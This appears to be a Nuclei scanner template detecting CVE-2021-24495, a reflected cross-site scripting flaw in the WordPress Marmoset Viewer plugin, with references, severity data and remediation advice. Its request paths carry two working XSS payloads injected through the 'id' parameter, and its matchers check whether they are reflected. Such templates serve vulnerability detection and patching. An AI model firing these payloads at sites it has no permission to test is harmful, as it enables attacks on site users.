id: CVE-2021-24495

info:
  name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
  author: johnjhacking
  severity: medium
  description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
  remediation: |
    Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
  reference:
    - https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
    - https://wordpress.org/plugins/marmoset-viewer/#developers
    - https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24495
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24495
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.45037
    cpe: cpe:2.3:a:marmoset:marmoset_viewer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: marmoset
    product: marmoset_viewer
    framework: wordpress
  tags: xss,wpscan,cve,cve2021,wp-plugin,wordpress,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - </script><svg/onload=alert('{{randstr}}')>
          - alert(/{{randstr}}/)
        condition: or

      - type: word
        words:
          - Marmoset Viewer

      - type: status
        status:
          - 200